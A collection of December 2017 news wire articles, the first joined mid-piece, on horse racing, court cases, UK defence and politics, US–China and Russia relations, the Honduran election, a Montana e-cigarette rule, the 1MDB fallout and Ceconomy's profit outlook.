Dalgleish added: Its nice having horses like him. Obviously we are not surprised what he is doing with his past form.

I will speak to the owner and they are hoping to go to Cheltenham for the Ballymore. I think two and a half miles will be his trip over hurdles.

We will see how he comes out of this but there is nothing set in stone.

Silver Concorde wins our first race of the day, the @Racing_UK Jump to it and Join the Racing Novices hurdle with Brian Hughes and trained by @DalgleishRacing pic.twitter.com/saLRrGFCV9  Musselburgh Racecourse (@MusselburghRace) December 18, 2017

Sandy Thomson enjoyed a double on a card that survived three inspections before eventually being given the go-ahead a little over half an hour before the scheduled first race.

Ballycrystal Court was a 14-1 winner of the EBF National Hunt Novices Hurdle under Danny Cook, having looked booked for minor honours before the front-running Sonic fell two flights from the finish.

Thomson said: He really impressed us on his first run here (finished fourth behind Silver Concorde), but he didnt really get the run of the race and blew up.

What would have happened today well never know, but our horse kept galloping all the way to the line and hes a nice horse wholl jump a fence in time.

Borders trainer Sandy Thomson was in double form at Musselburgh (John Giles/PA)

Thomson completed a brace after Rachel McDonald steered 4-1 shot Buckled to an all-the-way success in the Biggest Jumps Season On Racing UK Handicap Hurdle.

Hes turning into a little star, added the Borders handler.

Hell go back over fences at some stage, but theres a three-mile 0-140 handicap hurdle back here in January 1 that well probably go for next.

There was a sad postscript to the race, with Jim Goldies veteran Jonny Delta suffering a fatal injury after falling at the third-last.

Very sad to announce that @JDeltaRacing Jonny Delta had to be put to sleep after a very bad fall @MusselburghRace today. He was very lame behind, still to find out the exact injury. A pleasure to train such a character of a horse. pic.twitter.com/NuaaO81PDS  Jim Goldie Racing (@JimGoldieRacing) December 18, 2017

There were two Irish-trained winners on the afternoon, both of whom were ridden by Andrew Lynch.

Jim Dreapers Mullaghmurphy Blue hacked up as the 11-10 favourite for the Racing UK Jump To It Chase, while the Karl Thornton-trained Rancher Lass (9-1) battled to a narrow verdict in the Biggest Jumps Season On Racing UK Handicap Chase.

Fraser Canyon (9-2) made a worthwhile round trip in excess of 800 miles when landing the Biggest Ever Jumps Season On Racing UK Handicap Hurdle for Welsh trainer Tim Vaughan and jockey Alan Johns.

Nicky Richards and Ryan Day, who combined to win Saturdays Caspian Caviar Gold Cup at Cheltenham with Guitar Pete, claimed the concluding handicap hurdle with 9-2 chance Wot A Shot.
A court in northern Greece has sentenced 23 people to prison terms ranging from eight to 1,489 years for smuggling Iraqi and Syrian refugees into the country from the Turkish border in 2015 and 2016.

The Thessaloniki court imposed the longest sentence on a 54-year-old Greek man convicted of running a smuggling ring that arranged the transport of more than 500 refugees in 43 separate cases.

Under Greek law, the maximum prison term that can be served is 25 years, regardless of the length of the sentence.

Refugees

Another 23 people, mainly taxi drivers, were acquitted.

The suspects were rounded up in a July 2016 police operation. Greece was the main entry point into the European Union of more than a million refugees at the height of the 2015 refugee crisis.
The man suspected of stealing two ATMs from Billings hotels recently has also been charged with burglarizing a home in the Heights in July and taking 28 guns.

Anthony William Felton, 26, was charged with burglary on Nov. 17. Felton broke into a home on the 1300 block of Hardrock Lane while high on meth on July 30, he told detectives. He stole 28 guns, prying open a locked safe to obtain some of them, according to charges.

Felton says he was joined in the burglary by another man, Eric Metzger, but Metzger told detectives he acted only as a lookout and did not enter the home or touch any of the guns. Metzger has not been charged in the case.

A resident of the home, whod met Felton roughly a week before, loaned her car to him and told him the family would be out of town camping for a night. When she returned the next day, the safe was pried open, the guns were missing, and she could smell Feltons cologne in the air, she told detectives.

Witnesses in the case told detectives Felton later tried selling the guns or trading them for drugs. Police detectives recovered eight guns in October, but could confirm only five of them as belonging to the homeowner, since the serial numbers had been filed off the others.

Felton said hed hidden the guns at a shop at 2215 Goodman Road, south of the interstate and near ZooMontana, after meeting up there with several other people. Felton said hed returned the next day and found the guns missing and was angry at having been cut out of the deal.

Felton contacted detectives in October, requesting to speak with them, charges state. He told them hed been addicted to meth for eight years and had a $200-a-day habit. He admitted to entering the Heights home and stealing the 28 guns, and he told detectives he wanted the victims to know he was sorry.

Felton has also been charged with stealing an ATM from the La Quinta Inn and Suites on Dec. 9. The machine was worth $2,600 and had $1,360 cash inside at the time of the theft.

Felton is also the suspect in another ATM theft from the Red Lion Hotel and Convention Center on Halloween morning, according to Billings Police Department Detective Steve Hallam. No charges have yet been filed in that theft. The machine contained $2,500 in cash at the time of the theft.

Felton is also named as a suspect by the Yellowstone County Sheriffs Office in multiple burglaries the office is investigating.

Felton has been referred to a collections agency and had his drivers license suspended for failing to pay $300 in restitution to a business, the Book Cellar, that he tried to break into in March. He was sentenced in July to a $500 fine for the criminal mischief conviction.

Then on Sept. 22, he stole a car. Officers found him a week later in a trailer home, hiding above a water heater, with the stolen car parked outside, according to charges. A man inside the home with Felton said Felton was nervous, pacing around and carrying a large knife, saying he needed to get rid of a car.

Felton then tried to cut up a mattress and hide in it when he saw police, adding that he was likely going back to jail, the witness said.

Officers searched the recovered stolen car and found items that did not belong to the cars owner, including pairs of rubber gloves, computers, numerous sets of keys, a black plastic mask and a large bag of tools.

Felton posted $2,500 bond on Oct. 14 and was released from the Yellowstone County Detention Facility, but did not start GPS monitoring as required.

He was arrested again on a warrant on Thursday night after a foot-chase with sheriffs deputies, who used a Taser to bring him down, according to Undersheriff Kevin Evans. The chase took place along the shoulder of Interstate 94 after deputies pulled Felton over. Theyd staked out a residence in Lockwood that Felton was in, and followed him when he fled in a vehicle.

Hallam, the BPD detective, said on Monday that he hoped Feltons string of property crimes would end.

The higher the bond, the longer we can keep him in, the better off the citizens of Billings will be, Hallam said, of Felton.
Arsene Wenger will rotate his squad for Arsenals Carabao Cup quarter-final clash with West Ham and has backed the latest crop of young players to become the future of the club.

The Frenchman has a history of using the competition as a way of blooding talent in the first team and that has been the case again this season.

The Gunners welcome West Ham to the Emirates Stadium looking to reach the semi-final of the only domestic competition Wenger has not won since taking charge of the club 21 years ago.

Arsene Wenger has faith in latest crop of Arsenal youngsters

With his side having looked lethargic in Saturdays 1-0 Premier League win over Newcastle and on the back of two away draws against Southampton and the Hammers, it is clear that Wenger will once again shuffle his pack.

While that could mean starts for international players such as Danny Welbeck, Mathieu Debuchy and Mohamed Elneny, it is also a chance for Wengers young ensemble to impress.

Ainsley Maitland-Niles has started the last two league games having caught the eye in the Carabao Cup and Europa League this campaign.

Who was involved in our final training session before #AFCvWHU? Find out here...https://t.co/zQNlApiAPr  Arsenal (@Arsenal) December 18, 2017

And Wenger will continue to give chances to his young stars, such as Matt Macey, Joe Willock and Eddie Nketiah - who scored twice off the bench against Norwich in round four.

Its a very exciting bunch of young players, Wenger said.

I made the decision a few months ago to try and keep them at the club because I believe they all have futures at the club.

I am convinced as well, but it is very important for Arsenal to continue giving chances to young players we educate here.

We've got a fitness update on the squad...https://t.co/8TImfKTBEr  Arsenal (@Arsenal) December 18, 2017

For example on Saturday, we had four players who have been developed in our academy - Alex Iwobi, Jack Wilshere, Hector Bellerin and Ainsley.

That shows you that our level you have not many teams who can show up with that. Thats a positive sign. We have some good young players coming through as well, behind them. 

Macey, Nketiah and Willock are just three of a number of youngsters to sign new deals with Arsenal recently and - if they do start against West Ham - are likely to line-up alongside players on the fringes of Wengers first team.

We have so many quality players who have not started on Saturday but you cannot say that you prefer to play a player who has played three games in six days to a guy who is at the same level and is completely fresh, Wenger said.

The players who will start are basically all international players, so thats why I think its a decision that makes sense and you have as well to show the trust and the confidence that we have in the players.

Thats where I come back to. Weve got a big squad of top quality and the best way to show that is to use all our squad.

I trust this team, but I can talk and talk and talk. Its about what we do tomorrow on the pitch and how much we want it.
The mother of missing RAF gunner Corrie McKeague says she passed on allegations to the police that her son may have been murdered but the force did not take the claim seriously.

Police have so far spent 1.5million looking for Corrie, 23, who disappeared following a night out in Bury St Edmunds, Suffolk, in September 2016.

Mother Nicola Urquhart said she was concerned that police were not taking the allegations seriously after the search focused on a landfill that did not provide any trace of him.

Police have so far spent 1.5million looking for Corrie, 23, who disappeared following a night out in Bury St Edmunds, Suffolk. His mother says police are not taking claims he was the victim of a crime seriously

A 20-week search of the site at Milton near Cambridge finished earlier this year, and a second search, lasting seven weeks, finished earlier this month.

Speaking to Sky News, Ms Urquhart said: 'We have had various calls suggesting a crime, but when we passed them on to police they took little action to follow them up.'

'I spoke to the senior investigating officer two weeks ago and mentioned one call that we alerted them to, but she said she knew nothing about it.'

Suffolk Police has said the investigation into Mr McKeague's disappearance would remain open.

Search and recovery teams scoured 9,000 tonnes of rubbish at a landfill site over 27 weeks in the hope of finding traces of the missing man.

It was thought he climbed into a waste bin and was 'disposed of through the waste disposal process', leading police to search for his body at the landfill site in Milton, Cambridgeshire.

Police searching the landfill site in Milton, Cambridgeshire (PA)

But no evidence of him has been found and police officially announced the end of the search last week.

His devastated mother Nicola Urquhart, 48, said: 'I know how long and the search teams have worked - it has been an extremely physical and emotional task and we will never be able to thank them enough for their efforts.

'What I can say is that my complete trust in the team leaves me certain that had Corrie been in that landfill they would have found him.

'The peace of mind they have given me is immeasurable - I will no longer picture my son in that landfill.

Corrie was last seen on CCTV at 3.24am near a loading area known as the horseshoe

'From the first day that we stood in the middle of Bury St Edmunds we wanted that possibility to be investigated and if necessary ruled out.'

Corrie was last seen on CCTV at 3.24am near a loading area known as the horseshoe.

The original 20-week search for Corrie at the landfill site was stopped in July after nothing was found.

Only one bin was collected from the area that morning and waste from it was initially taken to a transfer station at Red Lodge and then to the Milton landfill site.

But the search continued in October after 25,000 people signed a petition calling for it to be resumed.
MPs have criticised the Government for an unacceptable refusal to reveal the full costs of F-35 warplanes.

The Commons Defence Committee said the Ministry of Defence (MoD) refused repeated requests to provide the full cost of each F-35 Joint Strike Fighter once spares, upgrades and retrofits are included.

F-35B Lightning II Joint Strike Fighter

Along with a failure to provide estimates of the total cost of the programme beyond 2026/7, this risks undermining public confidence in plans to order 138 of the stealth fighters, it said.

The UK is currently embarked on a 9.1 billion programme by 2025 to purchase 48 of the F-35s, the worlds most advanced fighter jet, from American aviation giant Lockheed Martin.

Britain currently has 13 of the jets in the United States being tested ahead of flight trials off HMS Queen Elizabeth next year  but has pledged to purchase 138.

Defence Committee chairman Julian Lewis said: There has been an unacceptable lack of transparency from the MoD and Lockheed Martin which risks undermining public confidence in the programme.

F-35 is a major investment for the UK and we want it to succeed for the good of this countrys security.

However, it is precisely because this project is so important that it must be subjected to the closest possible scrutiny.

The committee warned that the failure to provide adequate cost estimates was wholly unsatisfactory.

It said the MoD must publish rough orders of magnitude it has for the total costs of the programme beyond 2026/7.

HMS Queen Elizabeth (Gareth Fuller/PA)

Its inquiry into the F-35 programme was launched after a Times investigation reported claims that the jet was way over budget, unreliable, full of software glitches and potentially unsafe.

The report said the broadband capacity of the Queen Elizabeth carrier will need to be boosted beyond the reported eight megabits, and will likely have to exceed the 32 megabits available on the USS America, if the full benefits of the F-35 are to be realised.

The MPs called on the MoD to provide them with six-monthly updates on the programme including details of the ongoing costs.

The MoD said it would be simply irresponsible to publish in-house estimates of the future costs of the F-35 programme beyond 2026, because the purchases of the aircraft are subject to negotiation and so revealing estimates would undermine the Governments position.

(Andrew Matthews/PA)

A spokesman added: We strongly refute any suggestion of a lack of transparency in the F-35 programme, which has been subject to intense scrutiny not only from this inquiry, but from the UKs independent public spending watchdog and in our regularly published reports.

As ministers, civil servants and members of our Armed Forces have emphasised, the programme remains on track, on time, within costs and not only offers our military the worlds most advanced fighter jet but will support over 24,000 British jobs and is very much clear for take-off.

The MoD also insisted the broadband bandwidth on Queen Elizabeth class aircraft carriers is sufficient to carry out the scope of carrier strike operations, but stressed it was not constrained by design and could grow.
Former Glee star Mark Salling has pleaded guilty to possession of child pornography.

Salling entered the plea in a downtown Los Angeles federal court on Monday and is scheduled to be sentenced on March 7.

The actor reached a plea agreement with prosecutors in October in which he admitted he possessed images of prepubescent children. The agreement states a search warrant found more than 50,000 images of child porn on Sallings computer and a thumb drive.

Mark Salling arriving at federal court in Los Angeles (Reed Saxon/AP)

Prosecutors and Salling have agreed to ask a judge to sentence the actor to between four to seven years in prison. He will also be required to register as a sex offender, pay restitution and abide by residency restrictions.

The actor played bad-boy Noah Puck Puckerman on the Fox musical dramedy Glee.
The Kremlin has lambasted US president Donald Trumps new national security strategy as imperial, but lauded the US for willing to co-operate with Russia in areas of common interest.

The strategy, published on Monday, is harsher on Russia than Mr Trump has been in public comments.

It accuses Russia of using subversive measures to weaken Americas credibility and European governments.

Donald Trump has launched a new America First strategy (Matt Cardy/PA)

Dmitry Peskov, a spokesman for Russian President Vladimir Putin, told reporters that the mentions of Russia struck Moscow as imperial and showed an aversion to a multi-polar world.

Mr Peskov, however, said Moscow was encouraged by calls to co-operate with Russia in areas that could be beneficial for the US.

Mr Putin and Mr Trump talked on the phone twice last week.

The Chinese government also criticised Mr Trumps decision to label Beijing a strategic rival and called on Washington to abandon a Cold War mentality and accept Chinas rise.

Mr Trumps decision reflects a victory of hardliners in his administration, the official Xinhua News Agency said.

It warned US-Chinese economic relations were likely to face even more pressure and challenges.

Foreign ministry spokeswoman Hua Chunying said: We urge the United States to stop deliberately distorting Chinas strategic intentions and abandon a Cold War mentality. Otherwise it will injure others and damage itself.

Mr Trumps report hit a series of sore spots for Beijing.

It affirmed ties with Taiwan, the self-ruled island the mainland government claims as its territory, and pledged to re-energise our alliances with south-east Asian governments, some of which have conflicts with China over claims to portions of the South China Sea.

The United States and China share one of the worlds biggest trading relationships and co-operate in areas from clean energy to public health. However, Beijing sees Washington as an obstacle to its ambitions to be East Asias dominant power and strains over Taiwan, trade, technology policy and the South China Sea are growing.

It is selfish to put your national interest above other countries interest and the mutual interest of the international community, said the Chinese Embassy in Washington in a statement.

The Chinese side is willing to have peaceful coexistence with all countries.

The United States should also adapt and accept Chinas development.

US officials are uneasy about Beijings rising military spending- already the second-highest behind Washington. They see President Xi Jinpings Belt and Road Initiative, a project to build railways and other infrastructure across countries from Asia to Europe and Africa, as part of efforts to erode American influence and nurture a China-centred political structure.

Especially sensitive is Taiwan, the democratic island Beijing has declared a core interest over which it will go to war, if necessary.

Mr Trumps report promises to maintain our strong ties with Taiwan and provide for its legitimate defence needs.

China has taken a tougher stance toward Taiwan since last years election of President Tsai Ing-wen, who has refused to endorse Beijings contention that Taiwan is part of the Chinese nation.

Chinese commentators speculate on the possible need for military steps to put pressure on Taiwan.
Oscar Pistorius is appealing against his recently-lengthened prison sentence for the murder of girlfriend Reeva Steenkamp, according to South African media.

Broadcaster EWN said the Olympian filed an application to the Constitutional Court on Tuesday.

The Supreme Court of Appeal last month more than doubled Pistoriuss sentence to 13 years, calling the initial six-year sentence shockingly lenient.

Oscar Pistorius

Now, the earliest the double-amputee runner will be eligible for parole is 2023.

Pistorius killed Ms Steenkamp in the pre-dawn hours of Valentines Day 2013, shooting four times through a closed toilet cubicle door with a 9mm pistol.

He claimed he mistook the 29-year-old model and reality TV star for an intruder.
North Korea is currently on the way to developing ballistic missiles which could strike London, the Defence Secretary said as he branded the country a massive threat.

During a period of heightened nuclear tensions arising from North Koreas military tests, Gavin Williamson also said the country is a real danger to Britain.

With US President Donald Trump making clear that America is ready to deal with North Korea if necessary, pressed on whether the UK is also making preparations, Mr Williamson said Britain has to step up.

North Korea is a massive threat, theyre a real danger to this country, he told the Evening Standard.

They are currently on the pathway to have ballistic missiles that could strike London.

This isnt just a problem for the United States, this is a global problem. Britain has to step up in terms of dealing with it, there are threats emerging right around the world.

Britain is global player, it is a world player.

We will never hesitate to deal with aggression and threats, and that is what we have been known for doing in the past and that is what we continue to do.

On Monday, Mr Trump unveiled a new US national security strategy which includes strengthening the countrys cyber defence capabilities, and highlighted the threats of rogue regimes like North Korea.

The US has also publicly blamed the country for the WannaCry cyber attack which hit the NHS and networks around the world.

The presidents homeland security adviser, Tom Bossert, wrote in the Wall Street Journal that they were directly responsible for the ransomware attack.

Kim Jong Uns regime has, in recent months, carried out several increasingly sophisticated nuclear tests.

Defence Secretary Gavin Williamson

It has also expanded its missile programme to include weapons allegedly capable of striking parts of the US.

Mr Trump has previously ridiculed Mr Kim as Rocket Man and has warned North Korea he will take all measures needed to stop the programme.

Former chief whip Mr Williamson said the UK is working with our allies and is always planning for the worst and hoping for the best.

We have got HMS Argyll, HMS Sutherland going up to the region to do operations with our allies; that is something I am very proud that we are doing and we are going to continue to do, he added.

When pressed on whether there is an evacuation plan in place for British citizens in the South Korean capital of Seoul, Mr Williamson declined to answer, stating that he would not go into operational issues.
The Duke of Edinburgh has bowed out from his long association with the Royal Marines after handing over his role as its Captain General to Prince Harry.

Philips last solo public duty before retiring in August was to take the salute from a group of fundraising Royal Marines and on Tuesday he was joined at Buckingham Palace by his grandson Harry, as he assumed his new position.

After more than 64 years as Captain General, a role which dates back to June 2 1953, when he was appointed in succession to the late King George VI, the duke relinquished his position.

Major General Robert Magowan (outgoing Commandant General Royal Marines), the Duke of Edinburgh, Prince Harry (incoming Captain General Royal Marines) and Major General Charles Stickland (incoming Commandant General Royal Marines) at Buckingham Palace

The Duke's association with the @RoyalMarines dates back 64 years to 2 June 1953, when he was appointed Captain General in succession to The Queen's father, King George VI. pic.twitter.com/gMwAXaUtQ5  The Royal Family (@RoyalFamily) December 19, 2017

Buckingham Palace said: The Queen has been pleased to give her formal approval to the appointment of His Royal Highness Prince Henry of Wales as Captain General Royal Marines.

Philips final duty as Captain General was to receive Major General Robert Magowan, the outgoing Commandant General Royal Marines, and his replacement Major General Charles Stickland.

Harry was also at the Buckingham Palace event and the foursome posed for a photograph to mark the occasion.

The Queens Consort announced in May he would be retiring from royal engagements after more than 65 years supporting the monarch in her role as head of state and attending events for his own charities and organisations.

Prince Harry served in the Army for 10 years, rising to the rank of Captain and undertaking two tours of Afghanistan.  The Royal Family (@RoyalFamily) December 19, 2017

HRH continues to work in support of his fellow servicemen, promoting support for wounded men and women as they adapt to life post-injury. pic.twitter.com/bTRYbYNcjz  The Royal Family (@RoyalFamily) December 19, 2017

As a former Royal Navy officer it was fitting that Philips last public solo event featured men from the Royal Marines, an integral part of the Navy.

On August 2 in Buckingham Palaces forecourt Philip celebrated the achievements of the Royal Marines who had taken part in the 1664 Global Challenge, a series of strength and endurance feats raising funds and awareness for the Royal Marines Charity.

It was the last of his 22,219 solo official engagements, carried out since 1952.

The Duke has joined the Queen at a number of events since then and in June spent two nights in hospital being treated for an unspecified infection.
Theresa May has been criticised for not calling out Donald Trump on retweeting anti-Muslim videos during a phone call with the US president.

Labour leader Jeremy Corbyn made the accusation after a Downing Street summary of the talks failed to mention the controversy which sparked an extraordinary transatlantic bust-up.

A Number 10 spokesman said the discussion included the two countries differing positions on the US decision to recognise Jerusalem as capital of Israel, but no reference was made to the tweet controversy coming up in the call.

The Prime Minister spoke to President Trump earlier today. Read more : https://t.co/GBA47t3pIh  UK Prime Minister (@10DowningStreet) December 19, 2017

A spokesman for Mr Corbyn said: It has taken Theresa May two weeks to contact Trump over his dangerous decision to recognise Jerusalem as Israels capital, yet she seems to have failed to use the opportunity to call him out for retweeting abhorrent Islamophobic material.

As Prime Minister, May has a responsibility to stand up against hate and for all communities in our country.

The call was the first time the two leaders had spoken since their public row over Mr Trumps sharing of inflammatory anti-Muslim videos posted by the far-right Britain First groups deputy leader, Jayda Fransen.

Screen-grab showing Donald Trump's retweet of a Britain First post

At the time, the PM said Mr Trump was wrong to retweet the videos, and the US president hit back at Mrs May on Twitter by telling her to focus on destructive radical Islamic terrorism in the UK, rather than on him.

Mr Trump sparked protests across the Middle East by breaking with decades of US neutrality in the peace process on December 6 to announce he recognised Jerusalem as Israels capital and would move the US embassy from Tel Aviv.

Mrs May said at Prime Ministers Questions that day she intended to talk to Mr Trump about the matter, but this is the first time they have spoken.

The PMs spokesman said the fact it took 13 days between Mrs May announcing her intention to speak with Mr Trump about Jerusalem and the call actually taking place was a matter of scheduling and the PM didnt put any timeframe on it.

Protests in the West Bank city of Ramallah following Donald Trump's decision

Mrs May spoke to the American president after Britain joined 13 other members of the United Nations Security Council in backing a resolution, vetoed by the US, which rejected the recognition of Jerusalem as the capital of Israel.

A Downing Street spokesman said: They discussed the different positions we took on the recognition of Jerusalem as the Israeli capital, and agreed on the importance of the US bringing forward new proposals for peace and the international community supporting these efforts.

The Prime Minister also raised Yemen, highlighting our ongoing deep concerns at the humanitarian situation. They agreed on the vital importance of reopening humanitarian and commercial access to prevent famine and alleviate the suffering of innocent Yemenis.

The Prime Minister updated the president on the recent good progress of the Brexit negotiations, and the president set out the progress he had made on his economic agenda. They agreed on the importance of a swift post-Brexit bilateral trade deal.

They wished each other a very merry Christmas and looked forward to keeping in close touch.

Mrs May also offered her condolences to the president for the loss of life in a train crash in Washington state this week.

A White House statement on the call with Mrs May said the US president congratulated the Prime Minister on the decision by European Union leaders to move to the second phase of the Brexit negotiations.
By Tom Miles

GENEVA, Dec 15 (Reuters) - China has accused the United States and the European Union of breaking promises that they made when China joined the World Trade Organization, according to testimony published by China's Commerce Ministry in an unusual step.

China's WTO ambassador, Zhang Xiangchen, told a WTO hearing that the high-stakes legal dispute boiled down to one principle: "Agreements must be kept".

"We are deeply concerned about the systemic implications this will have for the rules-based multilateral trading system," Zhang said at the start of dispute hearings on Dec. 6.

China took the legal action against the EU because it says that, under China's 2001 WTO membership terms, it must be recognised as a "market economy" after 15 years. That means other countries have to take Chinese prices at face value.

"China believes that there can be no other plausible reading of this simple and unambiguous treaty language," Zhang said, calling the text "crystal clear".

But the United States and the EU disagree. They say Chinese goods -- especially commodities such as steel and aluminium -- are still heavily underpriced because of subsidies and state-backed oversupply, giving Chinese exporters an unfair advantage.

There was no immediate comment from the United States on the latest statement by China.

The decision on what price to use is key to assessing whether China is "dumping" goods abroad. If Washington or Brussels can show Chinese goods are being dumped, they can impose a punitive tariff on those imports.

"China joined this organization in the belief that the WTO is rule-based, non-discriminatory, and promotes free trade. However, the European Unions measures at issue defy every single one of those principles: it is rule-bending, discriminatory, and protectionist," Zhang said.

The United States joined the dispute as a third party, contending that there had been long-standing rights in the WTO and its predecessor, the GATT, to reject prices "not determined under market economy conditions", Zhang said.

"I was dumbfounded by this proposition," he said, recalling negotiations with the United States and citing U.S. legislators and former U.S. Trade Representative Charlene Barshefsky saying that the market economy provision would exist for 15 years.

"Now, 18 years later, the United States is...effectively suggesting that all those negotiating efforts on both sides were so much ado about nothing," he said, calling the U.S. position "a set-up".

Accepting the non-market economy label for 15 years was a heavy price for WTO membership, with more than 1,000 anti-dumping investigations against Chinese goods between 2001 and 2016, Zhang said.

"In many cases, Chinese businesses subject to such discriminatory anti-dumping duties went bankrupt, and hundreds of thousands of workers lost their jobs," he said. (Reporting by Tom Miles; Editing by Angus MacSwan)
Come March 1, e-cigarettes will no longer be allowed inside public and commercial buildings in Yellowstone County.

Smokers will also not be allowed within 20 feet of entrances, windows and ventilation systems of public and commercial buildings.

The new rule was finalized Thursday by the RiverStone Board of Health. In approving Rule No. 7 of the Rules and Regulations for Clean Indoor Air, board members decreased the proposed 30-foot stand-back to 20 feet.

The decision to shrink the stand-back distance was a direct result of feedback board members heard during public hearings that went back as far as last spring, RiverStone CEO John Felton said Saturday.

That was one of the most common issues raised, the distance, and how that would work in areas like downtown, Felton said. They clearly heard the public comment.

The Montana Clean Indoor Act, which the Legislature approved in 2005, provided a smoke-free environment inside workplaces and public buildings. The new rule approved for Yellowstone County now incorporates e-cigarettes, which weren't in use back then.

A 2016 report handed down by the U.S. Surgeon General showed that secondhand exposure to e-cigarettes contains nicotine and other harmful substances. Studies also have shown, Felton said, that a range of 20 to 30 feet is required for smoke to dissipate enough so it doesn't create health risks for nonsmokers.

In making its decision, he said, the board was balancing the importance of reducing the exposure of second- and third-hand smoke with the comments from the public in terms of that distance.

Under the Montana Clean Indoor Air Act, county health boards develop rules and county health departments are responsible for enforcement. Felton said his department will spend the next 2-1/2 months educating area businesses on the new rule and distributing signs to display the new regulations.

It will be up to businesses to post those signs, he said. When it comes to enforcement, the rule is complaint-driven, Felton said, the same as it is now with indoor smoking.

Theres not an obligation by business owners to patrol their area with a tape measure, if you will, he said. If someone complains, theres a complaint process and what would happen is we would receive that complaint.

What Rule No. 7 adds to the complaint process is not only can complaints be filed against businesses. They can be filed against an individual who violates the rule if the person's identity is known.

If a complaint is made against a business, Felton said, a tobacco enforcement specialist from his department would check on compliance and provide education, if necessary.

A history of repeated violations would get the matter turned over to the Yellowstone County Attorney's Office, Felton said. But he added that he isnt aware of any criminal prosecutions regarding the Clean Indoor Air Act since it became law in 2005.

We anticipate people arent going to ignore the rule, he said. History tells us we didnt see that happen with the Clean Indoor Air Act and we dont anticipate seeing that with the local rule either.

Sean Lynch, owner of the Pub Station in downtown Billings said the 20-foot rule wont be difficult for him to abide by but I do think it could be challenging for some other businesses.

Lynch said he already uses pedestrian barricades to keep smokers in a designated area, and hell just have to buy more barricades to extend the space.

"We'll deal with it," he said. "It's still going to allow people to smoke."
By Gustavo Palencia

TEGUCIGALPA, Dec 18 (Reuters) - A senior Honduran government official ruled out a new presidential election on Monday, the day after the Organization of American States called for one following a contentious vote that has sparked violent protests.

Electoral authorities said on Sunday that U.S.-friendly President Juan Orlando Hernandez won the Nov. 26 election after partial recounts of voting tallies did not tip results in favor of his opponent, TV host Salvador Nasralla, despite widespread allegations of irregularities.

Hours later, however, the OAS said the process did not meet democratic standards.

First Vice President Ricardo Alvarez flatly rejected the call for another vote. "The only other elections there are going to be in this country will be on the last Sunday of November 2021," he said.

"This is an autonomous and sovereign nation," Alvarez told reporters. "This is a nation that is not going to do what anybody from an international organization tells it to do."

Hernandez, who is mourning the death of his sister in a helicopter crash over the weekend, has not yet commented on the call for new elections.

Nasralla leads a center-left coalition that seemed headed for a surprise upset in the hours after the election, but results suddenly stopped coming in. When they restarted, the outcome began to favor the incumbent.

Opposition politicians hurled accusations of voter fraud at the government, and Honduran military police fired tear gas at protesters, who burned tires and attacked buildings.

Adding to the confusion, European Union election observers on Sunday said the vote recount showed no irregularities. Like the OAS, the EU observers monitored the electoral process in Honduras.

EU chief monitor Marisa Matias said on Monday it was beyond her team's mandate to say whether there should be a new election, saying that up to two months would be needed to finish a final report.

NASRALLA SAYS HE WILL WIN AGAIN

Nasralla met with OAS Secretary General Luis Almagro and a senior State Department official in Washington on Monday. Nasralla said he was ready for new elections, even though he claimed to have won the first time by half a million votes.

"I'm sure I will win again," Nasralla said, after handing more material purportedly showing fraud to Almagro.

John Creamer, U.S. deputy assistant secretary of state for the Bureau of Western Hemisphere Affairs, told Nasralla the State Department was studying both the OAS and EU reports and did not speak in favor of or against new elections, Tony Garcia, an adviser to the candidate present in the meeting, told Reuters.

The U.S. State Department issued a statement urging Honduran political parties to raise any concerns about the election using what it said was a legal provision establishing a five-day period for presenting challenges to the results.

"We call for all Hondurans to refrain from violence," it said.

Honduran rights groups say 20 people have been killed in the protests, almost all by bullet wounds.

Furious that Hernandez had been declared the winner, protesters clashed with police in Tegucigalpa, the capital, blocked roads around the main port and partially burned a courthouse and bank branch in San Pedro Sula, Honduras' second-largest city.

Honduras has been roiled by political instability and violent protests since the election. The count has been questioned by the two main opposition parties, including Nasralla's Opposition Alliance Against the Dictatorship, as well as a wide swath of the diplomatic corps.

The OAS statement described irregularities, including deliberate human intrusions in the electoral computer system, pouches of votes opened or lacking votes, and "extreme" improbability around voting patterns it analyzed, making it "impossible to determine with the necessary certainty the winner." (Reporting by Gustavo Palencia in Tegucigalpa, Anthony Esposito, Lizbeth Diaz and Gabriel Stargardter in Mexico City, and Mohammad Zargham in Washington; Writing by Frank Jack Daniel; Editing by Matthew Lewis and Leslie Adler)
SINGAPORE, Dec 19 (Reuters) - Singapore's central bank on Tuesday said it had permanently barred Yeo Jiawei, a former wealth manager of Swiss bank BSI involved in breaches related to Malaysia's 1MDB fund, from managing financial services firms and advisory activities.

In July, a Singapore court jailed Yeo for 4-1/2 years for money laundering and cheating in a case linked to investigations into the siphoning of billions of dollars from Malaysian sovereign fund 1MDB.

The Monetary Authority of Singapore said it has issued a permanent prohibition order against Yeo, effective Monday, and a three-year ban for former chief executive of financial advisory firm NRA Capital, Kevin Scully.

"NRA had been appointed to perform the valuation of PetroSaudi Oil Services Limited (PSOSL)," MAS said in a press release.

"Mr Scully had failed to ensure that NRAs valuation of PSOSL was carried out with sufficient care, judgment and objectivity," the central bank added.

MAS has now issued prohibition orders against eight people involved in 1MDB-related breaches, following two bans announced last month.

Once a pet project of Malaysian Prime Minister Najib Razak, who chaired its advisory board, 1MDB is the subject of money-laundering investigations in at least six countries including Switzerland, Singapore and the United States.

Najib has denied any wrongdoing.

Singapore's central bank had said in May that it had ended its two-year review of banks with 1MDB-linked transactions. (Reporting by Fathin Ungku; Editing by John Geddie and Sam Holmes)
By Emma Thomasson

BERLIN, Dec 19 (Reuters) - German consumer electronics retailer Ceconomy forecast on Tuesday an improvement in profitability for the 2017/18 financial year that fell short of analysts' expectations as competition heats up in Italy, denting its shares.

Ceconomy, which runs Media Markt stores and split in July from German retail conglomerate Metro, expects a "mid single-digit" percentage increase in earnings before interest and tax (EBIT) in 2017/18, not taking into account contributions from its investment in France's Fnac Darty.

That compares with analysts' average forecast for a 9 percent increase, according to Thomson Reuters Eikon.

Ceconomy shares, which have risen 28 percent in the last six months to outperform the broader German market, were down 4.6 percent at 0833 GMT.

Ceconomy, which took a 24 percent stake in Fnac Darty in July, hopes to lead consolidation in the European consumer electronics sector, seen as ripe for a shake-out due to intense competition from online players such as Amazon.

"We are ready for the future and in an excellent position to take advantage of the opportunities presented by the fundamental transformation of the consumer electronics industry," Chief Executive Pieter Haas said in a statement.

British rival Dixons Carphone last week said it would revamp its mobile phone business as it reported a 60 percent slump in first-half profit and cut its profit forecast, hurt by a weak mobile market as customers hold onto handsets for longer.

Fnac Darty said this month it was banking on merger synergies and its ability to deliver sales growth above that of its markets to nearly double its operating margin mid-term.

